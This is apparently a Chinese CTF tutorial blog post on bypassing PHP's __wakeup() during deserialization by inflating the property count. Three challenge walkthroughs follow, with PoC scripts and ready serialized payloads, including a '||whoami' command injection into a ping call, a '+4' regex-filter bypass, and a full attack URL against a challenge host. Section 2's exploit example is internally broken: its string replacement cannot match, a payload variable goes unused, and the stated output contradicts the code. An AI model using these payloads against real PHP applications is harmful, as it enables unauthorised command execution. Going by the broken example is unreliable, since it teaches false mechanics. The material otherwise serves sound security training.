作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)
本专栏CTF基础入门系列打破
以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式
。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~
目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。
本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~
目录
- 1. __wakeup()介绍
- 2.__wakeup()绕过
- 3. 绕过应用举例
- 4. 真实赛题
- 4.1 赛题一
- 赛题2 攻防世界 Web_php_unserialize
- 赛题三:极客⼤挑战 2019 PHP(综合题目)
1. __wakeup()介绍
__wakeup()
是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。
下面是一个简单的示例,它演示了如何在一个 PHP 对象中使用 __wakeup()
方法:
class Example {
public $a = 1;
public $b = 2;
public function __wakeup() {
$this->a *= 2;
$this->b *= 2;
}
}
$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);
在这个例子中,我们定义了一个名为 Example
的类,它具有两个公共属性 $a
和 $b
。在 __wakeup()
方法中,我们将 $a
和 $b
的值各自乘以 2。然后我们序列化一个 Example
对象,并使用 unserialize()
函数将其还原为 PHP 对象。最后,我们使用 var_dump()
函数输出这个对象。运行这个脚本,输出将是:
object(Example)#2 (2) {
["a"]=>
int(2)
["b"]=>
int(4)
}
正如预期的那样,我们的 __wakeup()
方法成功地修改了 $a
和 $b
的值。
在安全编程中,__wakeup()
方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。
2.__wakeup()绕过
然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup()
函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
具体来说,当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup()
函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
攻击者可以利用这个漏洞来绕过 __wakeup()
函数中的安全检查,从而执行任意代码。攻击者可以使用 O
类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup()
函数的安全检查,并执行恶意代码。
以下是一个漏洞利用的示例代码:
class Example {
private $a = 1;
private $b = 2;
public function __wakeup() {
if ($this->a != 1 || $this->b != 2) {
die("Invalid values for a and b");
}
}
}
$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);
在这个例子中,我们定义了一个名为 Example
的类,它有两个私有属性 $a
和 $b
。__wakeup()
方法检查 $a
和 $b
的值是否为 1 和 2。然后我们手动序列化了一个 Example
对象,并使用 O
类型的序列化字符串将其包装起来。在这种情况下,我们添加了一个新属性 $c
,并将属性数量设置为 3。然后,我们使用 str_replace()
函数将序列化字符串中属性的数量修改为 2,从而绕过了 __wakeup()
函数的安全检查。因此,运行这个脚本,输出将是:
object(Example)#2 (2) {
["a":"Example":private]=>
int(2)
["b":"Example":private]=>
int(3)
}
3. 绕过应用举例
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10
标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
4. 真实赛题
4.1 赛题一
- 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host)
{
system("ping -C 2 $host");
}
function __wakeup()
{
$this->args = array("127.0.0.1");
}
}
$a=@$_GET['a'];
@unserialize($a);
?>
- 解题思路
- 关键点在于__wakeup将所有参数均变为127.0.0.1
- 需要拼接命令,如ping -c 2;ls或ping -c 2|ls
- 构造poc
因为我是在windows10系统上起的服务,系统命令使用whoami
<?php
class home
{
private $method='ping';
private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>
原始序列化字符串:
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ,修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
赛题2 攻防世界 Web_php_unserialize
- 题目
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
- 代码解释
只说绕过点处的正则分析
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
功能 | 代码 |
---|---|
匹配模式 | /[oc]:\d+:/i |
判断变量是否匹配模式 | preg_match(‘/[oc]:\d+:/i’, $var) |
匹配规则 | 匹配一个字符集 [oc],后跟一个冒号 :,再跟一个或多个数字 \d+,最后再跟一个冒号 : |
匹配字符串示例 | o:123:、c:456:、O:789:、C:321: |
匹配字符串示例(不匹配) | abc、1234、o: abc: |
匹配修饰符 | i,表示忽略大小写 |
匹配结果判断 | 如果变量 $var 匹配模式,则执行 die(‘stop hacking!’) |
序列化/反序列化 | 如果变量 $var 不匹配模式,则使用 unserialize() 函数对 $var 进行反序列化 |
- 解题思路
- 其余不再分析,只说这道题特有的考点
- 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)
匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤
绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测
- 对private中%00的绕过,此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化,并直接base64,注意参考POC
<?php
class Demo {
private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);
?>
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
赛题三:极客⼤挑战 2019 PHP(综合题目)
极客⼤挑战 2019 PHP
- 题目
一只猫,爱备份
- 解题思路
- 既然提示了爱备份,使用burp加载CTF字典扫描,果然扫到备份地址
- 访问/www.zip 自动下载源码。index.php源码如下
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
其中class.php源码如下
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
- 分析源码,class.php已经包含了flag文件 。在反序列化过程中,会自动触发
__wakeup()
和__destruct()这两个魔法函数。首先根据__destruct()
可知,username=='admin'同时password=100可响应flag
- 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。
修改属性数量值即可
- 构造poc,一击必杀
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));
?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/
攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
下篇文章是php序列化的最后一篇文章,关于phar反序列化,敬请期待~